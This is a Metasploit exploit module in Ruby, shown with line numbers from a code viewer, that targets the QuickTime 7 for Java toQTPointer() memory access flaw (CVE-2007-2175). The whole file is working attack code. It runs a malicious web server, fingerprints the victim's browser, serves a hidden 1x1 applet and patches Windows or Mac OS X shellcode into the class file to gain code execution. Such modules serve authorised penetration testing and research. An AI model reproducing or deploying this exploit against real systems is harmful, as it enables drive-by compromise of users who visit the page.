Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  #
10
  # This module acts as an HTTP server
11
  #
12
  include Msf::Exploit::Remote::HttpServer::HTML
13

14
  def initialize(info = {})
15
    super(update_info(info,
16
      'Name'           => 'Apple QTJava toQTPointer() Arbitrary Memory Access',
17
      'Description'    => %q{
18
        This module exploits an arbitrary memory access vulnerability in the
19
      Quicktime for Java API provided with Quicktime 7.
20

21
      },
22
      'License'        => MSF_LICENSE,
23
      'Author'         =>
24
      [
25
        'hdm',           # Original exploit for Mac OS X PPC / Win32
26
        'kf',            # Added support for Mac OS X X86
27
        'ddz'            # Discovered bug, provided tips
28
      ],
29
      'References'     =>
30
        [
31
          ['CVE',    '2007-2175'],
32
          ['OSVDB', '34178'],
33
          ['BID',    '23608'],
34
          ['ZDI',    '07-023'],
35
        ],
36
      'Payload'        =>
37
        {
38
          'Space'    => 1024,
39
          'BadChars' => ''
40
        },
41
      'Platform'       => %w{ win osx },
42
      'Targets'        =>
43
        [
44
#
45
# Problem with generic payloads + regenerate_payload still :(
46
#
47
#					[ 'Quicktime 7 Automatic',
48
#						{
49
#							'Platform' => ['win', 'osx'],
50
#							'Arch' => [ARCH_X86, ARCH_PPC]
51
#						}
52
#					],
53
          [ 'Quicktime 7 on Windows x86',
54
            {
55
              'Platform' => 'win',
56
              'Arch' => ARCH_X86
57
            }
58
          ],
59
          [ 'Quicktime 7 on Mac OS X PPC',
60
            {
61
              'Platform' => 'osx',
62
              'Arch' => ARCH_PPC,
63
            }
64
          ],
65
          [ 'Quicktime 7 on Mac OS X x86',
66
            {
67
              'Platform' => 'osx',
68
              'Arch' => ARCH_X86,
69
            }
70
          ],
71
        ],
72
#			'DefaultTarget'  => 0,
73
      'DisclosureDate' => '2007-04-23'
74
      ))
75
  end
76

77

78
  def exploit
79
    # load the class data
80
    path = File.join(Msf::Config.data_directory, "exploits", "QTJavaExploit.class")
81
    fd = File.open(path, "rb")
82
    @class_data = fd.read(fd.stat.size)
83
    fd.close
84

85
    super
86
  end
87

88

89
  def on_request_uri(cli, req)
90

91
    # Create a cached mapping between IP and detected target
92
    @targetcache ||= {}
93
    @targetcache[cli.peerhost] ||= {}
94
    @targetcache[cli.peerhost][:update] = Time.now.to_i
95

96
    if (target.name =~ /Automatic/)
97
      case req.headers['User-Agent']
98
      when /Windows/i
99
        print_status("Choosing a Windows target")
100
        @targetcache[cli.peerhost][:target] = self.targets[1]
101
      when /PPC Mac OS X/i
102
        print_status("Choosing a Mac OS X PPC target")
103
        @targetcache[cli.peerhost][:target] = self.targets[2]
104
      when /Intel Mac OS X/i
105
        print_status("Choosing a Mac OS X x86 target")
106
        @targetcache[cli.peerhost][:target] = self.targets[3]
107
      end
108
    end
109

110
    # Clean the cache
111
    rmq = []
112
    @targetcache.each_key do |addr|
113
      if (Time.now.to_i > @targetcache[addr][:update]+60)
114
        rmq.push addr
115
      end
116
    end
117

118
    rmq.each {|addr| @targetcache.delete(addr) }
119

120

121
    # Request processing
122

123
    if (not req.uri.match(/\.class$/i))
124

125
      # Redirect to the base directory so the applet code loads...
126
      if (not req.uri.match(/\/$/))
127
        send_redirect(cli, get_resource() + '/', '')
128
        return
129
      end
130

131
      # Display the applet loading HTML
132
      print_status("Sending HTML")
133
      send_response_html(cli, generate_html(), { 'Content-Type' => 'text/html' })
134
      return
135
    end
136

137
    # Send the actual applet over
138
    print_status("Sending applet")
139
    send_response(cli, generate_applet(cli, req), { 'Content-Type' => 'application/octet-stream' })
140

141
    # Handle the payload
142
    handler(cli)
143
  end
144

145
  def generate_html()
146
    return "<html><head></head><body><applet width='1' height='1' code='QTJavaExploit.class'></applet></body></html>"
147
  end
148

149
  def generate_applet(cli, req)
150

151
    this_target = nil
152
    if (target.name =~ /Automatic/)
153
      if (@targetcache[cli.peerhost][:target])
154
        this_target = @targetcache[cli.peerhost][:target]
155
      else
156
        return ''
157
      end
158
    else
159
      this_target = target
160
    end
161

162
    # make a copy..
163
    data = @class_data.dup
164

165
    # 1 = OSX PPC, 2 = OSX X86, 3 = WIN X86
166
    idx_targ = data.index("\x03\x10\xcc\x54")
167

168
    # 1024 bytes for shellcode
169
    idx_code = data.index("\x03\x10\xf0\x54")
170

171
    # Handle Mac OS X PPC
172
    if (this_target.arch.include?(ARCH_PPC))
173
      tp = regenerate_payload(cli, 'osx', ARCH_PPC, this_target)
174
      data = patch_bytecode(idx_code, data, tp.encoded)
175
      data = patch_bytecode(idx_targ, data, "\x01")
176
    end
177

178
    # Handle Mac OS X x86 / Windows x86
179
    if (this_target.arch.include?(ARCH_X86))
180

181
      if (this_target.platform.platforms.include?(Msf::Module::Platform::Windows))
182
        tp = regenerate_payload(cli, 'win', ARCH_X86, this_target)
183
        data = patch_bytecode(idx_code, data, tp.encoded)
184
        data = patch_bytecode(idx_targ, data, "\x03")
185
      end
186

187
      if (this_target.platform.platforms.include?(Msf::Module::Platform::OSX))
188
        tp = regenerate_payload(cli, 'osx', ARCH_X86, this_target)
189
        data = patch_bytecode(idx_code, data, tp.encoded)
190
        data = patch_bytecode(idx_targ, data, "\x02")
191
      end
192
    end
193

194
    return data
195
  end
196

197
  def patch_bytecode(off, data, buff)
198

199
    cnt = 0
200
    off -= 1
201
    while (cnt < buff.length)
202
      cnt += 1
203
      while (! (data[off-1] == 0x10 && data[off+1] == 0x54))
204
        off += 1
205
      end
206
      data[off]=buff[cnt-1]
207
      off += 1
208
    end
209

210
    return data
211
  end
212

213

214
end
215

216